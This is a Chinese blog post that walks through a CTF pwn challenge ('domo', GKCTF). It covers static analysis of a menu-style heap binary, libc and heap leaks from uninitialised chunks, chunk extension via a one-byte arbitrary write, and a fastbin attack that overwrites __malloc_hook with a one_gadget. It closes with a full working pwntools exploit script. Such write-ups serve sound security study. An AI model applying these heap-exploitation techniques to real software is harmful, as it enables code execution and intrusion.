bpcat

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

例行检查

全绿,64位保护全开。

image.png

动态分析

增删查改四个功能

image.png

image.png

image.png

image.png

改这个功能没太勘定似乎是需要我们输入一个地址去修改,这好像就造成了任意地址写,不太确定,稍后通过静态分析去了解一下。

image.png

静态分析

main

正常的菜单题目,存在沙盒

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rdi
  int v5; // [rsp+0h] [rbp-20h] BYREF
  int v6; // [rsp+4h] [rbp-1Ch] BYREF
  int v7; // [rsp+8h] [rbp-18h] BYREF
  int v8; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v9; // [rsp+10h] [rbp-10h]
  unsigned __int64 v10; // [rsp+18h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v5 = 1;
  v6 = 1;
  v7 = 1;
  set3();                                       // setbuf in out err
  sub_C9D(a1, a2);                              // 输出叶子
  v3 = "Welcome to GKCTF";
  puts("Welcome to GKCTF");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          caidan(v3, a2);                       // 菜单
          printf("> ");
          a2 = (char **)&v8;
          v3 = "%d";
          _isoc99_scanf("%d", &v8);             // 输入选项
          if ( v8 != 1 )
            break;
          add("%d", &v8);                       // 添加堆块
        }
        if ( v8 != 2 )
          break;
        delete("%d", &v8);
      }
      if ( v8 != 3 )
        break;
      show("%d", &v8);                          // 没啥说的就是输出内容
    }
    if ( v8 != 4 )
      break;
    a2 = (char **)&v6;
    v3 = (const char *)&v5;
    sub_115E(&v5, &v6, &v7);                    // 任意地址写1字节
  }
  v9 = seccomp_init(2147418112LL);              // 开启了沙盒
  seccomp_rule_add(v9, 0LL, 59LL, 0LL);
  seccomp_rule_add(v9, 0LL, 4294957238LL, 0LL);
  seccomp_rule_add(v9, 0LL, 10LL, 0LL);
  seccomp_load(v9);
  puts("oh,Bye");
  return 0LL;
}

add

分析起来有一点点乱

image.png

首先我们看到第一个判断null函数的返回值,要为1,进入null中查看,看到null函数中要对__malloc_hook和__free_hook是否为0进行一个判断。使用过v1,v2两个变量对__malloc_hook和__free_hook进行一个判断,v2直接就是代表的__free_hook没有什么中间的转化处理,而v1代表的是v0!=0的返回值,v0又是__malloc,这样的话就是当v0存在时v1为1,当v0不存在的时候为0。这样就可以往后看。那么就是当v1不存在并且v2为零的时候函数返回1、当v1或者v2有一个存在的时候则返回零。这样的话就是只要是有一个存在就会返回0。

image.png

然后就是对全局变量chunk_num的判断,继续往下找可以看到当malloc之后会有++chunk_num的操作,这说明我们申请一个堆块这个全局变量就会随着+1,那么判断就是判断的堆的数量。之后还有一个环境变量chuk_ptr,利用变量加偏移的方法判断相应堆快的为位置有没有存放指针。(剩下的看图片上的注释

申请的时候也没有对堆块进行清零。

delete

没有uaf

image.png

show

image.png

edit()

可以任意地址写一字节哦

image.png

沙盒

image.png

利用思路

环境时libc2.23.so,利用起来也并不是这么难,首先可以通过fastbin和unsortbin来进行leak libc和heap。

申请四个chunk,在申请第二个chunk的时候将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清零,free掉第三个chunk,就可以实现chunk extend。接着重新申请就可以i得到两个同时指向chunk2的指针,然后就是fastbin attack那些操作了。

最后getshell是利用scanf输入较大数据的时候会malloc堆块

利用过程

leak_libc

由于申请回来堆块的时候没有将堆块内容置零,所以我们可以释放一个unsortbin大小的堆块,然后申请回来就可以show出来libc的地址。

add(0xf0,'aaaa')#0
add(0xf0,'aaaa')#1
free(0)
add(0xf0,'\n')#0
show(0)
p.recvline()
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A
print hex(libc.address)

image.pngimage.png

泄露成功。

leak_heap

与leak_libc的时候差不多只不过这是我们需要的是fastbin,利用fastbin链进行泄露heap地址

add(0x60,'aaaa')#0
add(0x60,'aaaa')#1
add(0xf0,'aaaa')#2
free(1)
free(0)
add(0x60,'\n')
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00') -0xa
print hex(heap)

image.pngimage.png

构造chunk_extend

申请四个chunk,在申请第二个chunk的时候将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清零,free掉第三个chunk,就可以实现chunk extend。接着重新申请就可以i得到两个同时指向chunk2的指针,这样的话我们就可以将堆块申请到__realloc_hook修改就好了

add(0xf8,'aaaa')#0
add(0xf2,'a'*0xf0+'\x00\x02')#1
add(0xf0,'aaaa')#2
gdb.attach(p)
free(0)
edit(heap+0x218,'\x00')
free(2)
add(0xf0,'aaaa')#0
add(0x68,'aaaa')#2
add(0x68,'aaaa')#3
add(0xf0,'aaaa')#4
free(1)
free(3)
free(2)
add(0x60,p64(libc.sym['__malloc_hook']-0x23))#1
add(0x60,'aaaa')#2
add(0x60,'aaaa')#3

add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6))#3

exp:

from pwn import *
p = process("./domo")
#p = remote("node3.buuoj.cn","26472")
libc = ELF("./libc.so.6")
def add(size,data):
	p.recvuntil("5: Exit")
	p.sendline("1")
	p.recvuntil("size:")
	p.sendline(str(size))
	p.recvuntil("content:")
	p.send(data)
def free(index):
	p.recvuntil("5: Exit")
	p.sendline("2")
	p.recvuntil("index:")
	p.sendline(str(index))
def show(index):
	p.recvuntil("5: Exit")
	p.sendline("3")
	p.recvuntil("index:")
	p.sendline(str(index))
def edit(addr,byte):
	p.recvuntil("5: Exit")
	p.sendline("4")
	p.recvuntil("addr:")
	p.sendline(str(addr))
	p.recvuntil("num:")
	p.sendline(byte)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0xf0,'aaaa')#0
add(0xf0,'aaaa')#1
free(0)
add(0xf0,'\n')#0
show(0)
p.recvline()
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A
print hex(libc.address)
free(0)
free(1)
add(0x60,'aaaa')#0
add(0x60,'aaaa')#1
add(0xf0,'aaaa')#2
free(1)
free(0)
add(0x60,'\n')
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00') - 0xa
print hex(heap)
free(0)
free(2)
add(0xf8,'aaaa')#0
add(0xf2,'a'*0xf0+'\x00\x02')#1
add(0xf0,'aaaa')#2
#gdb.attach(p)
free(0)
edit(heap+0x218,'\x00')
free(2)
add(0xf0,'aaaa')#0
add(0x68,'aaaa')#2
add(0x68,'aaaa')#3
add(0xf0,'aaaa')#4
free(1)
free(3)
free(2)
add(0x60,p64(libc.sym['__malloc_hook']-0x23))#1
add(0x60,'aaaa')#2
add(0x60,'aaaa')#3

add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6))#3
print hex(libc.sym['__realloc_hook'])
#gdb.attach(p,'b malloc')
p.recvuntil("5: Exit")
p.sendline("1 "+'1'*0x400)
add(0x10,'aa')
p.interactive()
posted on 2022-11-19 19:52  大能猫_多能  阅读(67)  评论(0编辑  收藏  举报